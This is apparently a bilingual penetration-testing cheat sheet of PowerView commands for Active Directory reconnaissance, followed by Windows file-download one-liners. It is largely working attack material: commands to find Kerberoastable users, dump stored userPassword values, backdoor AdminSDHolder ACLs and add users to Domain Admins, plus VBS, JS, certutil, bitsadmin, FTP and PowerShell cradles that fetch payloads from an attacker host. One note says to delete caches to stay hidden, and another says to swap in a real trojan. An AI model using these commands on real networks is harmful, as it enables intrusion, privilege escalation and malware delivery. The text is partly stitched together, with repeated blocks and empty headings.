Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
Domain info¶
PowerShell
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID
# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy
# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller
# Get Forest info
Get-ForestDomain
Users, Groups, Computers & OUs¶
PowerShell
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups
# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
Logon and Sessions¶
PowerShell
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
Group Policy Object - GPOs¶
If an attacker has high privileges over a GPO he could be able to privesc abusing it by add permissions to a user, add a local admin user to a host or create a scheduled task (immediate) to perform an action. For more info about it and how to abuse it follow this link.
PowerShell
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
gpresult /V #Get current policy
# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
ACL¶
PowerShell
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
#Other way to get ACLs of an object
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs
#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
Shared files and folders¶
PowerShell
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
Domain Trust¶
PowerShell
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts
Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
L**ow**-hanging fruit¶
PowerShell
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember
#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]
#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth
Deleted objects¶
PowerShell
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
MISC¶
SID to Name¶
Kerberoast¶
Use different credentials (argument)¶
PowerShell
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
Impersonate a user¶
PowerShell
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
Set values¶
PowerShell
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
内网中一句话下载¶
用于靶机下载攻击机payload
vbs一句话¶
Windows全版本支持
文件落地¶
Text Only
# VBS File
set a=createobject("adod"+"b.stream")
set w=createobject("micro"+"soft.xmlhttp")
w.open "get",wsh.arguments(0),0
w.send
a.type=1
a.open
a.write w.responsebody
a.savetofile wsh.arguments(1),2
echo 写入¶
Text Only
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> download.vbs
certutil一句话¶
Certutil.exe是一个命令行程序，作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件以及验证证书，密钥对和证书链。
Text Only
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt
# 由于certutil下载会有缓存，容易暴露，需要执行删除缓存命令(下载后立即执行)
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete
php一句话¶
Download a file with a PHP oneliner:
ftp一句话¶
Text Only
echo open 10.0.0.1 > o&echo user 1 1 >> o &echo get 3389.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o
# user {user} {password}, 3389.exe替换为实际木马
# 下载完后自动删除
更短的一句话
Text Only
echo open 127.0.0.1 > o&echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐A ‐n ‐s:o &del /F /Q o
# -A指定匿名用户登录，密码为空
bitsadmin一句话¶
Windows7及以上自带
Text Only
E:\>bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:\PDF\robots.txt
如果需要下载过大的文件，需要提高优先级。配合上面的下载命令。再次执行
如果下载文件在1-5M之间，需要时时查看进度。同样它也支持进度条。
Text Only
bitsadmin /transfer down /download /priority normal "http://192.168.1.115/robots.txt" E:\PDF\robots.txt
js一句话¶
读取¶
JavaScript
# Js File
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
写入¶
JavaScript
# Js File
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;
BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("micropoor.exe");
powershell一句话¶
Windows7及以上内置
PowerShell
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')
whois¶
- 传输机
- 接收机
Debug.exe¶
The debug.exe program not only allows inspection of binaries but also has the capability to rebuild them from hex. This means that by providing an hex of a binary, debug.exe can generate the binary file. However, it's important to note that debug.exe has a limitation of assembling files up to 64 kb in size.
Then copy-paste the text into the windows-shell and a file called nc.exe will be created.
- https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html